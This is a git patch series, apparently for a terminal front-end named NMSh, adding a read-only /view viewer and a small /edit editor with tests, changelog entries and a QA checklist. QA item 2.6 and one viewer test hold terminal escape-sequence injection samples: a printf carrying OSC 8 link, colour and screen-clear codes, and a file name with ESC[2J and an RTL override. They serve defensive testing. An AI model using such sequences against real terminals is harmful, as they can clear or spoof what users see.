await frontend.waitFor(/match(?:es)? for “37”/u, mark); + mark = frontend.mark; + frontend.pty.write(':390\r'); + await frontend.waitFor(/Lines 3\d\d–400 of 400/u, mark); + frontend.pty.write('c'); + await until(() => existsSync(clip) && readFileSync(clip, 'utf8').length > 0, 15_000, 'the document on the clipboard'); + assert.equal(readFileSync(clip, 'utf8'), Array.from({length: 400}, (_, index) => String(index + 1)).join('\n') + '\n'); + // The first Esc clears the search, the second closes. + mark = frontend.mark; + frontend.pty.write('\u001b'); + await frontend.waitFor(/of 400 +↑↓ scroll/u, mark); + mark = frontend.mark; + frontend.pty.write('\u001b'); + await frontend.waitFor(/❯/u, mark); + // Back at the composer: a command runs as usual. + await frontend.run('echo AFTER-VIEW', /AFTER-VIEW/u); + } finally { await sandbox.dispose(); } +}); From d51593bd9cde641a4ac698fb729474db145a02fa Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 13:51:19 +0530 Subject: [PATCH 006/157] /view slice: changelog, physical QA checklist and ledger --- CHANGELOG.md | 5 +++++ docs/development/v021-ledger.md | 5 +++-- docs/testing/v021-physical-qa.md | 21 +++++++++++++++++++++ 3 files changed, 29 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3fc3b600..5a53cf4c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). ## [Unreleased] +### Added + +- **`/view`, a native read-only viewer** for files and completed output ([#397](https://github.com/raiseCatError/notMyShell/issues/397)). `/view README.md` opens a file relative to the shell's directory (`~` for home): Markdown renders (`m` shows the source), source files get syntax colors and line numbers, `.diff`/`.patch` files and `git diff`/`git show` output read as diffs. `/view N` opens completed output N (numbered as `/copy` numbers it) and `/view` the latest; Actions → View output does the same for a block. Find with `/` and `n`/`N`, go to a line with `:`, `w` toggles wrapping (Left/Right scroll sideways), `l` line numbers, `c` copies the whole text, Esc closes. Viewing never changes the file or the transcript. + - Limits: regular files only (directories, devices and pipes are refused), at most 8 MiB and 200,000 lines (the rest is named, with `less` or an editor as the way to read it), binary and UTF-16 files are refused, invalid UTF-8 is shown with `�` and a note. Control characters, escape sequences and invisible format characters are shown as visible marks, never interpreted. Open in pager, `less`, `bat` and Glow are unchanged. + ### Fixed - Multi-line progress displays that redraw their own rows (cursor up and erase line, as concurrent downloads and container pulls do) now update in place instead of leaving a copy of every frame in the transcript ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). A program can redraw only its own recent rows, at most a screen height up, never NMSh's lines or earlier commands; `/copy` copies the final rows once. Absolute cursor positioning keeps the previous behavior. diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index 9b179e5c..4644df2d 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -16,7 +16,7 @@ Automated results here are not physical-terminal validation. | --- | --- | --- | --- | --- | --- | | 0 | Design and ledger | #410 | `docs/v021-design` / #411 | | PR open, CI green; awaiting merge | | 1 | Reliability gates | #403, #408, #388 | `fix/v021-reliability` (stacked on #411) | | PR open | -| 2 | `/view` | #397, #402 | | | | +| 2 | `/view` | #397, #402 | `feature/v021-view` (stacked on slice 1) | | PR open | | 3 | `/edit` | #402 | | | | | 4 | Semantic Output | #386 | | | | | 5 | `/track` | #393 (#394) | | | | @@ -34,7 +34,8 @@ Automated results here are not physical-terminal validation. ## Physical QA still required Checklist: [v0.21 physical QA](../testing/v021-physical-qa.md). Slice 1: section 1 (multi-row progress in Ghostty -and Terminal.app, queued highlight colors). +and Terminal.app, queued highlight colors). Slice 2: section 2 (`/view` keys, rendering, refusals, hostile text, +NO_COLOR). ## Verification notes diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 133614c2..3cee9cac 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -16,6 +16,8 @@ |---|---|---|---|---|---|---| | 1 Multi-row progress (#388) | Ghostty | macOS | zsh | | Not run | | | 1 Multi-row progress (#388) | Terminal.app | macOS | Bash or Fish | | Not run | | +| 2 `/view` | Ghostty | macOS | zsh | | Not run | | +| 2 `/view` | Terminal.app | macOS | zsh | | Not run | | ## 1. Multi-row progress redraws (#388) @@ -29,3 +31,22 @@ - [ ] 1.6 `vim`, `less` and `htop` still take the full screen and return to the composer. - [ ] 1.7 Queue two quick commands (`ls` then `pwd`) with Ctrl+Q while a short command runs: both stored command lines end with the known-command color (#408). + +## 2. Native viewer (`/view`, View output) + +- [ ] 2.1 `/view README.md` in this repository: Markdown is rendered (headings, lists, code, tables); `m` shows the + source with line numbers; `m` again returns. +- [ ] 2.2 `/view src/viewer/ViewerPanel.ts`: syntax colors, line numbers, `w` turns wrapping off and Left/Right scroll + sideways with `‹`/`›` marks, `l` hides numbers. +- [ ] 2.3 `/` finds text (lowercase ignores case), `n`/`N` step and wrap with a note, `:` + number goes to a line, + `G`/`g` end and start, PageUp/PageDown, mouse wheel scrolls. +- [ ] 2.4 Run `seq 1 5000`, then `/view` (latest output) and Actions → View output on that block; `/view 2` opens the + previous output. The transcript is unchanged after closing. +- [ ] 2.5 `c` copies the whole document; the clipboard has the exact text (tabs kept), and nothing else. +- [ ] 2.6 Hostile content: `printf '\033]8;;https://example.com\a\033[31mred\033[2J\n' > /tmp/h.txt && /view /tmp/h.txt` + shows `␛` marks, no color change, no link, no screen clear. +- [ ] 2.7 Refusals say why: a directory, a missing file, `/dev/zero`, a FIFO (`mkfifo /tmp/f && /view /tmp/f` returns + at once), a binary (`/view /bin/ls`), a 20 MB log (shows the first 8 MiB with a note). +- [ ] 2.8 Esc closes, the composer draft and cursor are where they were, and a running command's output kept + arriving underneath. At 32×10 the viewer still fits and Esc is shown. +- [ ] 2.9 `NO_COLOR=1` and Safe glyphs: matches and the current match are still visible (reverse video). From 5ebdd29b5ec549a13055d181c71a855cf3495395 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 13:52:15 +0530 Subject: [PATCH 007/157] /view: file names are drawn inert; a late load never opens over another panel --- src/app/TerminalApp.ts | 2 ++ src/viewer/ViewerPanel.ts | 4 ++-- src/viewer/document.ts | 9 +++++++-- tests/viewer.test.ts | 8 ++++++++ 4 files changed, 19 insertions(+), 4 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index fafe132e..c04748b5 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -3595,6 +3595,8 @@ export class TerminalApp { if (this.viewerLoad !== load || this.stopped) return; this.viewerLoad = undefined; if (!result.ok) { this.output.addFrontendInteraction(command, result.reason, ERROR); this.render(); return; } + // Another panel opened while the file was read: it keeps the keys; the file is not opened over it. + if (this.hasModalInput()) return; this.panelOrigin = undefined; this.viewer = createViewer(result.document); this.render(); diff --git a/src/viewer/ViewerPanel.ts b/src/viewer/ViewerPanel.ts index 652cd1ea..01d3c5de 100644 --- a/src/viewer/ViewerPanel.ts +++ b/src/viewer/ViewerPanel.ts @@ -9,7 +9,7 @@ import {editText} from '../ui/formControls.js'; import {framePanel} from '../ui/PanelShell.js'; import {foreground, UI_COLORS} from '../ui/palette.js'; import {displayWidth, truncateAnsi, truncateText} from '../util/text.js'; -import {formatBytes, type ViewDocument} from './document.js'; +import {formatBytes, inert, type ViewDocument} from './document.js'; /** * The native read-only viewer (#397): one document in a full-height panel, never the transcript. Drawing is bounded @@ -413,7 +413,7 @@ function detail(document: ViewDocument): string { } const kind = document.format === 'markdown' ? 'Markdown' : document.format === 'diff' ? 'diff' : document.language ?? 'text'; const ending = document.lineEnding === 'crlf' ? ' · CRLF' : document.lineEnding === 'mixed' ? ' · mixed line endings' : ''; - const link = document.origin.symlink ? ` · → ${document.origin.realPath}` : ''; + const link = document.origin.symlink ? ` · → ${inert(document.origin.realPath)}` : ''; return `${kind} · ${lines} · ${formatBytes(document.origin.bytes)}${ending}${link}`; } diff --git a/src/viewer/document.ts b/src/viewer/document.ts index fdfc4fcf..399cc359 100644 --- a/src/viewer/document.ts +++ b/src/viewer/document.ts @@ -50,9 +50,14 @@ export function resolveViewPath(input: string, cwd: string, home = homedir()): s return isAbsolute(trimmed) ? trimmed : resolve(cwd, trimmed); } -/** The path as people read it: under home it starts with ~. */ +/** Text from a file name or path made inert for display: controls and invisible format characters become marks. */ +export function inert(text: string): string { + return text.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}\p{Zl}\p{Zp}]/gu, character => character === '\u001b' ? '␛' : '·'); +} + +/** The path as people read it (under home it starts with ~), safe to draw: a file name can hold control characters. */ export function displayPath(path: string, home = homedir()): string { - return home && (path === home || path.startsWith(`${home}/`)) ? `~${path.slice(home.length)}` : path; + return inert(home && (path === home || path.startsWith(`${home}/`)) ? `~${path.slice(home.length)}` : path); } const FILE_NAMES: Record = {makefile: 'makefile', gnumakefile: 'makefile', dockerfile: 'dockerfile', containerfile: 'dockerfile', diff --git a/tests/viewer.test.ts b/tests/viewer.test.ts index 7266934b..903d49cf 100644 --- a/tests/viewer.test.ts +++ b/tests/viewer.test.ts @@ -87,6 +87,14 @@ test('files: only regular, decodable text is read, within limits, and every refu assert.ok(linked.origin.kind === 'file' && linked.origin.symlink && linked.origin.realPath === join(root, 'a.ts')); assert.match(shown(draw(createViewer(linked), 400)).join('\n'), new RegExp(`→ ${join(root, 'a.ts').replace(/[.*+?^${}()|[\]\\/]/gu, '\\$&')}`, 'u')); + // A file name is untrusted text too: its controls never reach the transcript or the header as controls. + const hostileName = join(root, 'evil\u001b[2J\u202e.txt'); + const missing = await loadFileDocument(hostileName, '/') as {reason: string}; + assert.doesNotMatch(missing.reason, /[\u001b\u202e]/u); + assert.match(missing.reason, /evil␛\[2J·\.txt does not exist/u); + writeFileSync(hostileName, 'x\n'); + assert.doesNotMatch(draw(createViewer(await load(hostileName))).join('').replace(/\u001b\[[0-9;]*m/gu, ''), /[\u001b\u202e]/u); + // Reading changes nothing. assert.equal(readFileSync(join(root, 'a.ts'), 'utf8'), 'const a = 1;\r\nconst b = 2;\r\n'); } finally { rmSync(root, {recursive: true, force: true}); } From 46700b5074ffaf655ed4fb6bbd267b99dfd706e0 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:02:13 +0530 Subject: [PATCH 008/157] Native /edit: a small, safe editor for one text file (#402) /edit (or e in /view) opens one small text file in a full-height panel: typing, multi-line, caret by character/word/line/page, Shift selection, Ctrl+Z/Ctrl+Y undo and redo (bounded, coalesced), Ctrl+F find, Ctrl+C/Ctrl+X copy and cut, Ctrl+S save, Esc closes and asks about unsaved changes. Ctrl+Y now decodes as redo (it was dropped before). Only files that can be saved back exactly are opened: regular UTF-8 text up to 1 MiB, owned by this user, one hard link, writable file and folder, one kind of line ending (BOM and final newline kept); a missing path in a writable folder opens empty. Saving writes beside the original (exclusive create, its mode and group), syncs, re-checks that the original is still the file opened (device, inode, size, time, content hash) and renames over its real path; a symlink stays a symlink. A changed, replaced or deleted original is a conflict: Keep editing, Overwrite, or Reload. A new file never replaces one that appeared meanwhile. --- src/app/TerminalApp.ts | 75 +++++++- src/ask/concepts.ts | 5 +- src/commands/slashCommands.ts | 5 + src/terminal/keys.ts | 6 +- src/viewer/EditorPanel.ts | 288 +++++++++++++++++++++++++++++++ src/viewer/ViewerPanel.ts | 5 +- src/viewer/fileEdit.ts | 201 +++++++++++++++++++++ src/viewer/textBuffer.ts | 311 +++++++++++++++++++++++++++++++++ tests/textEditor.test.ts | 316 ++++++++++++++++++++++++++++++++++ tests/viewerApp.test.ts | 42 ++++- tests/viewerLive.test.ts | 21 +++ 11 files changed, 1269 insertions(+), 6 deletions(-) create mode 100644 src/viewer/EditorPanel.ts create mode 100644 src/viewer/fileEdit.ts create mode 100644 src/viewer/textBuffer.ts create mode 100644 tests/textEditor.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index c04748b5..a3915804 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -70,6 +70,8 @@ import {configuredEditor} from '../host/HostActions.js'; import {comparePanelKey, createComparePanel, renderComparePanel, type ComparePanelState} from '../ui/ComparePanel.js'; import {loadFileDocument, outputDocument} from '../viewer/document.js'; import {createViewer, renderViewer, viewerKey, type ViewerLook, type ViewerState} from '../viewer/ViewerPanel.js'; +import {createEditor, editorKey, renderEditor, type EditorAction, type EditorState} from '../viewer/EditorPanel.js'; +import {openForEdit, saveFile} from '../viewer/fileEdit.js'; import {buildComparisonReport, copyableDiff, previousRun} from '../output/compare.js'; import {createStripStudio, renderStripStudio, stripStudioKey, type StripStudioState} from '../status/StripStudio.js'; import {configureListKey, renderConfigureList, type ConfigureListState} from '../tools/config/ConfigureList.js'; @@ -1622,11 +1624,20 @@ export class TerminalApp { this.render(); return; } + if (this.textEditor) { + const editor = this.textEditor; + const {columns, rows} = this.dimensions(); + const action = editorKey(editor, key, columns, rows - 4); + if (action) this.runEditorAction(editor, action); + this.render(); + return; + } if (this.viewer) { const viewer = this.viewer; const {columns, rows} = this.dimensions(); const action = viewerKey(viewer, key, columns, rows - 4, this.viewerLook()); if (action?.kind === 'close') { this.viewer = undefined; this.returnFromPanel(); } + else if (action?.kind === 'edit') { this.viewer = undefined; this.openTextEditor(action.path, '/edit', viewer); } else if (action?.kind === 'copy') { void this.copyText(action.text, 'Copied the document').then(note => { if (note && this.viewer === viewer) { viewer.note = note; this.render(); } }); } @@ -2887,6 +2898,10 @@ export class TerminalApp { } else if (slash.kind === 'pins') { this.panelOrigin = undefined; this.openPins(); } else if (slash.kind === 'view') this.openViewer(slash.target, command.trim()); + else if (slash.kind === 'editFile') { + if (!slash.target) this.output.addFrontendInteraction(command.trim(), 'Name a file: /edit notes.md. Your own editor and vim, nano or micro still work as usual.', INFO); + else this.openTextEditor(slash.target, command.trim()); + } else if (slash.kind === 'compare') { if (slash.error) this.output.addFrontendInteraction(command.trim(), slash.error, ERROR); else { @@ -3603,6 +3618,61 @@ export class TerminalApp { }); } + /** + * /edit: open one small text file in NMSh's editor, or say in the transcript why it cannot be edited (refused files + * stay readable in /view). `returnTo` is the viewer it was opened from; it is reopened if the file cannot be edited. + */ + private openTextEditor(target: string, command: string, returnTo?: ViewerState): void { + void openForEdit(target, this.shellCwd).then(result => { + if (this.stopped) return; + if (!result.ok) { + if (returnTo && !this.hasModalInput()) { returnTo.note = result.reason; this.viewer = returnTo; } + else this.output.addFrontendInteraction(command, result.reason, ERROR); + this.render(); + return; + } + if (this.hasModalInput()) return; + this.panelOrigin = undefined; + this.textEditor = createEditor(result.file); + this.render(); + }); + } + + /** The editor's requests that touch the disk or the clipboard; the panel shows the outcome. */ + private runEditorAction(editor: EditorState, action: EditorAction): void { + if (action.kind === 'close') { this.textEditor = undefined; this.returnFromPanel(); return; } + if (action.kind === 'copy') { + void this.copyText(action.text, 'Copied').then(note => { if (note && this.textEditor === editor) { editor.note = {text: note, tone: 'success'}; this.render(); } }); + return; + } + editor.busy = true; + if (action.kind === 'reload') { + void openForEdit(editor.file.path, this.shellCwd).then(result => { + editor.busy = false; + if (this.textEditor !== editor) return; + if (!result.ok) { editor.note = {text: result.reason, tone: 'error'}; this.render(); return; } + this.textEditor = {...createEditor(result.file), note: {text: 'Reloaded from disk; your changes were discarded.', tone: 'info'}}; + this.render(); + }); + return; + } + const lines = [...editor.buffer.lines]; + void saveFile(editor.file, lines, {...(action.force ? {force: true} : {})}).then(result => { + editor.busy = false; + if (this.textEditor !== editor) return; + if (result.ok) { + editor.file = result.file; + // Only what was written is clean: typing during the save stays unsaved. + if (editor.buffer.lines.length === lines.length && editor.buffer.lines.every((line, index) => line === lines[index])) editor.buffer.markSaved(); + if (action.thenClose) { this.textEditor = undefined; this.returnFromPanel(); } + else editor.note = {text: `Saved ${editor.file.title}.`, tone: 'success'}; + } else if (result.conflict) { + editor.dialog = {kind: 'conflict', focus: 0, conflict: result.conflict, reason: result.reason, ...(action.thenClose ? {thenClose: true} : {})}; + } else editor.note = {text: `${result.reason} Your text is still here.`, tone: 'error'}; + this.render(); + }); + } + /** View output: the record's stored output, numbered as /copy numbers it. */ private openOutputViewer(record: CompletedCommand): void { const number = this.output.recentShellCommands().indexOf(record) + 1; @@ -4964,7 +5034,7 @@ export class TerminalApp { private get settingsPanelActive(): boolean { return this.hasModalInput(); } private hasModalInput(ignorePalette = false): boolean { - return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.viewer || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState + return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.viewer || this.textEditor || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState || this.resumeBrowser || this.appearanceHub || this.keyboardState || this.startupPanel || this.aboutPanel || this.shellPanel || this.openPanel || this.askState || this.agentView || this.agentPanel || this.launcher || this.modsPanel || this.worktreePanel || this.githubPanel || this.providersOverview || this.understandingPanel || this.cursorPanel || this.doctorPanel || this.watchPanel || this.queuePanel || this.queueHistoryPanel || this.pasteReview || this.misePanel || this.keepAwakePanel); } @@ -5007,6 +5077,7 @@ export class TerminalApp { if (this.reportReview) return renderReportReview(this.reportReview, columns, this.dimensions().rows - 4); if (this.comparePanel) return renderComparePanel(this.comparePanel, columns, this.dimensions().rows - 4); if (this.viewer) return renderViewer(this.viewer, columns, this.dimensions().rows - 4, this.viewerLook()); + if (this.textEditor) return renderEditor(this.textEditor, columns, this.dimensions().rows - 4); if (this.background.panel) return framePanel(this.background.panelRows(Math.max(1, columns - 4), this.dimensions().rows - 4, {now: Date.now(), color: colorLevel() !== 'none', safe: getCurrentGlyphMode() === 'safe'}), columns); if (this.rowPanel) return renderRowPanel(this.rowPanel, this.promptConfiguration, columns, this.dimensions().rows, this.rowPanelPreview(columns)); @@ -5939,6 +6010,8 @@ export class TerminalApp { private viewer?: ViewerState; /** A file /view is still reading; a newer request or Esc cancels it. */ private viewerLoad?: AbortController; + /** NMSh's small text editor (/edit, e in /view); owns keys while open. */ + private textEditor?: EditorState; private clipboardNote?: {text: string; tone: 'success' | 'info' | 'error'; until: number}; private clipboardNoteTimer?: ReturnType; /** The block whose Copy control just succeeded (by startId), shown as "Copied" until `until`. */ diff --git a/src/ask/concepts.ts b/src/ask/concepts.ts index 0428b879..c5bdbda4 100644 --- a/src/ask/concepts.ts +++ b/src/ask/concepts.ts @@ -256,6 +256,9 @@ export const CONCEPTS: readonly Concept[] = [ {id: 'view', label: 'View a file or output', support: 'actionable', open: '/view', covers: ['/view'], aliases: ['view file', 'view a file', 'read a file', 'open a file read only', 'view output', 'read markdown', 'preview markdown', 'view log', 'pager'], description: '/view opens a read-only native viewer: /view README.md for a file (Markdown renders; m shows the source), /view N for completed output N (numbered as /copy), /view alone for the latest output. Also Actions → View output. Find with /, n/N, go to a line with :, w wraps, l numbers, c copies the whole text. less, bat and Glow still work as usual.'}, + {id: 'edit-file', label: 'Edit a small text file', support: 'actionable', open: '/edit', covers: ['/edit'], + aliases: ['edit a file', 'edit file', 'edit text file', 'change a config file', 'quick edit', 'small editor', 'native editor', 'edit notes'], + description: '/edit notes.md opens a small text file (up to 1 MiB, your own, UTF-8) in NMSh\'s editor: type, select with Shift, Ctrl+Z undo, Ctrl+Y redo, Ctrl+F find, Ctrl+C/Ctrl+X copy and cut, Ctrl+S saves (atomically; if the file changed on disk you choose Overwrite, Reload or Keep editing), Esc closes and asks about unsaved changes. e in /view edits the file shown. vim, nano, micro and your $EDITOR still work as usual.'}, {id: 'paste-batch', label: 'Paste and queue a batch', support: 'actionable', open: '/ps', covers: ['/ps', '/clips'], aliases: ['paste commands', 'paste batch', 'paste from clipboard', 'queue pasted commands', 'review pasted commands', 'ps command', 'run as block'], description: '/ps reads the clipboard once and shows Paste Review. B reviews a safe batch with choices to run as one block, queue separately, edit or cancel; quotes, loops and heredocs stay whole. C deliberately keeps a clip in memory; /clips reviews it before insertion. Clips disappear when this frontend exits. Nothing executes automatically.'}, @@ -367,7 +370,7 @@ export const GUIDE_SECTIONS: readonly GuideSection[] = [ {id: 'chroma', title: 'Chroma', why: 'Optional gradients and motion for NMSh-owned chrome only; your command output is never recolored.', concepts: ['chroma', 'effects', 'activity']}, {id: 'shells', title: 'Shells', why: 'One NMSh window can run zsh, Fish or Bash, and you can leave for a plain shell and come back.', concepts: ['shell', 'leave', 'otherShells']}, {id: 'completion', title: 'Completion & suggestions', why: 'Tab completion lists real candidates; ghost suggestions predict the rest of the line.', concepts: ['completion', 'suggestions']}, - {id: 'history', title: 'History & transcripts', why: 'Find what you ran and what it printed, now or in earlier sessions.', concepts: ['history', 'picker', 'transcript', 'find', 'copy', 'output-actions', 'view', 'compare', 'transcripts', 'pins']}, + {id: 'history', title: 'History & transcripts', why: 'Find what you ran and what it printed, now or in earlier sessions.', concepts: ['history', 'picker', 'transcript', 'find', 'copy', 'output-actions', 'view', 'edit-file', 'compare', 'transcripts', 'pins']}, {id: 'sessions', title: 'Sessions', why: 'Sessions keep running when a window closes; reattach, switch or get notified.', concepts: ['sessions', 'queue', 'agentSessions', 'presets', 'notices', 'commandNotifications', 'panes', 'keepAwake']}, {id: 'ask', title: 'Ask', why: 'Plain-English help that knows NMSh, your commands and this repository, and never runs anything you did not confirm.', concepts: ['ask']}, {id: 'intelligence', title: 'Local intelligence', why: 'An optional local model helps Ask map vague requests to known actions. It runs on this machine, never writes commands, and Ask works fully without it.', concepts: ['understanding'], diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index b719d050..c05244ea 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -42,6 +42,7 @@ const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/copy N', insertion: '/copy ', description: 'Copy Nth previous output; -N the latest N, A-B or 1,3,5 several; --status adds completion status'}, {name: '/copy settings', insertion: '/copy settings', description: 'Output navigation, Quick Copy or Interactive Picker; completion status and auto-expand preferences'}, {name: '/view', insertion: '/view ', description: 'Read a file or a completed output in a native viewer: /view README.md · /view 2 (output 2, numbered as /copy) · /view (latest output)'}, + {name: '/edit', insertion: '/edit ', description: 'Edit a small text file in NMSh: /edit notes.md (Ctrl+S saves safely, Esc closes; vim, nano and your editor still work as usual)'}, {name: '/compare', insertion: '/compare', description: 'Compare two outputs: /compare (latest with its previous run), /compare N, /compare N M (numbers as /copy)'}, {name: '/pins', insertion: '/pins', description: 'Commands and recipes you kept: stage a pin, or review and queue a recipe (nothing runs by itself)'}, {name: '/ps', insertion: '/ps', description: 'Paste from the clipboard, reviewed first: read when you run it, never in the background'}, @@ -171,6 +172,8 @@ export type ParsedSlashCommand = | {kind: 'compare'; first?: number; second?: number; error?: string} /** /view [path | N]: a file (relative to the shell's directory, ~ for home), output N as /copy numbers it, or the latest output. */ | {kind: 'view'; target: string} + /** /edit : NMSh's small native editor for one text file (relative to the shell's directory, ~ for home). */ + | {kind: 'editFile'; target: string} | {kind: 'appearance'} | {kind: 'motion'} | {kind: 'prompt'} @@ -268,6 +271,8 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined if (/^\/pins\s*$/u.test(input)) return {kind: 'pins'}; const view = /^\/view(?:\s+([\s\S]*))?$/u.exec(input); if (view) return {kind: 'view', target: (view[1] ?? '').trim()}; + const editFile = /^\/edit(?:\s+([\s\S]*))?$/u.exec(input); + if (editFile) return {kind: 'editFile', target: (editFile[1] ?? '').trim()}; // /cp is /copy: one parser, one handler, every form. if (/^\/(?:copy|cp)\s+settings\s*$/u.test(input)) return {kind: 'copySettings'}; const copy = /^\/(?:copy|cp)(?:\s+(.*))?$/su.exec(input); diff --git a/src/terminal/keys.ts b/src/terminal/keys.ts index c10baa2f..a1a73f08 100644 --- a/src/terminal/keys.ts +++ b/src/terminal/keys.ts @@ -8,7 +8,9 @@ export type Key = | {kind: 'bufferHome' | 'bufferEnd' | 'selectBufferHome' | 'selectBufferEnd'} | {kind: 'historySearch' | 'historyDelete' | 'find' | 'previousFailure' | 'nextFailure'} | {kind: 'suggestNext' | 'suggestPrevious' | 'palette'} | {kind: 'pageUp' | 'pageDown' | 'latest' | 'interrupt' | 'suspend' | 'eof' | 'wheelUp' | 'wheelDown' | 'mouseMove' | 'mouseClick' | 'mouseDrag' | 'mouseRelease' | 'focusPrevious' | 'focusNext' | 'toggleDetails' /** Ctrl+Q: add the composer's command to the queue; Ctrl+S: send it to the running program's input. */ - | 'queueCommand' | 'sendToProgram'} & {x?: number; y?: number}; + | 'queueCommand' | 'sendToProgram' + /** Ctrl+Y: redo in NMSh's text editor (the composer ignores it, as it ignored the unmapped byte before). */ + | 'redo'} & {x?: number; y?: number}; const SEQUENCES: Array<[string, Key['kind']]> = [ @@ -106,6 +108,7 @@ const SEQUENCES: Array<[string, Key['kind']]> = [ ['\u001B[112;5u', 'suggestPrevious'], // Kitty Ctrl+P ['\u001B[113;5u', 'queueCommand'], // Kitty Ctrl+Q ['\u001B[115;5u', 'sendToProgram'], // Kitty Ctrl+S + ['\u001B[121;5u', 'redo'], // Kitty Ctrl+Y ['\u001B[111;5u', 'toggleDetails'], // Kitty Ctrl+O (lowercase o) ['\u001B[79;5u', 'toggleDetails'], // Kitty Ctrl+O (uppercase O) ]; @@ -180,6 +183,7 @@ export function decodeKeys(input: string): Key[] { else if (value === '\u000F') keys.push({kind: 'toggleDetails'} as Key); // Ctrl+O else if (value === '\u0011') keys.push({kind: 'queueCommand'} as Key); // Ctrl+Q: queue (the TTY is raw; no flow control) else if (value === '\u0013') keys.push({kind: 'sendToProgram'} as Key); // Ctrl+S: send to the running program + else if (value === '\u0019') keys.push({kind: 'redo'} as Key); // Ctrl+Y: redo in the NMSh editor else if (value === '\u000E') keys.push({kind: 'suggestNext'} as Key); // Ctrl+N else if (value === '\u0010') keys.push({kind: 'suggestPrevious'} as Key); // Ctrl+P else if (codePoint >= 0x20 && codePoint !== 0x7f) keys.push({kind: 'text', value} as Key); diff --git a/src/viewer/EditorPanel.ts b/src/viewer/EditorPanel.ts new file mode 100644 index 00000000..40b51920 --- /dev/null +++ b/src/viewer/EditorPanel.ts @@ -0,0 +1,288 @@ +import type {Key} from '../terminal/keys.js'; +import {graphemes} from '../input/inputLayout.js'; +import {colorLevel} from '../presentation/capabilities.js'; +import {renderActionRow, type ActionControl} from '../ui/actionControls.js'; +import {renderControlRows} from '../ui/controls.js'; +import {editText} from '../ui/formControls.js'; +import {framePanel} from '../ui/PanelShell.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {displayWidth, truncateAnsi, truncateText} from '../util/text.js'; +import {inert} from './document.js'; +import type {EditableFile, SaveConflict} from './fileEdit.js'; +import {displayColumn, TAB_WIDTH, TextBuffer, type Position} from './textBuffer.js'; + +/** + * The native editor (#402): one small text file in a full-height panel. It owns keys only while open; the composer, + * its draft and the shell are untouched. Saving and reloading are the app's work (they touch the disk); the panel says + * what the person asked for and shows the result. Unsaved changes are never dropped without a choice. + */ + +const RESET = '\u001b[0m'; +const REVERSE = '\u001b[7m'; +const WHEEL_ROWS = 3; + +export interface EditorDialog { + kind: 'unsaved' | 'conflict'; + focus: number; + conflict?: SaveConflict; + reason?: string; + /** Close once the save this dialog leads to succeeds. */ + thenClose?: boolean; +} + +export interface EditorState { + file: EditableFile; + buffer: TextBuffer; + top: number; + left: number; + input?: {kind: 'find'; value: string}; + query?: string; + dialog?: EditorDialog; + note?: {text: string; tone: 'info' | 'error' | 'success'}; + /** A save or reload is in progress; keys wait. */ + busy?: boolean; +} + +export type EditorAction = + | {kind: 'close'} + | {kind: 'save'; force?: boolean; thenClose?: boolean} + | {kind: 'reload'} + | {kind: 'copy'; text: string}; + +export function createEditor(file: EditableFile): EditorState { + return {file, buffer: new TextBuffer(file.lines), top: 0, left: 0, ...(file.identity ? {} : {note: {text: 'New file: it is created when you save.', tone: 'info' as const}})}; +} + +function dialogControls(dialog: EditorDialog): ActionControl[] { + const focused = (index: number, destructive = false) => dialog.focus === index ? (destructive ? 'destructiveFocused' : 'focused') : destructive ? 'destructive' : 'default'; + if (dialog.kind === 'unsaved') return [ + {id: 'Action.Save', label: 'Save', state: focused(0), key: 's', essential: true}, + {id: 'Action.Discard', label: 'Discard changes', state: focused(1, true), key: 'd', essential: true}, + {id: 'Action.Keep', label: 'Keep editing', state: focused(2), key: 'Esc', essential: true}, + ]; + return [ + {id: 'Action.Keep', label: 'Keep editing', state: focused(0), key: 'Esc', essential: true}, + {id: 'Action.Overwrite', label: dialog.conflict === 'deleted' ? 'Save anyway' : 'Overwrite', state: focused(1, true), key: 'o', essential: true}, + ...(dialog.conflict === 'deleted' || dialog.conflict === 'exists' ? [] : [{id: 'Action.Reload', label: 'Reload, discard mine', state: focused(2, true), 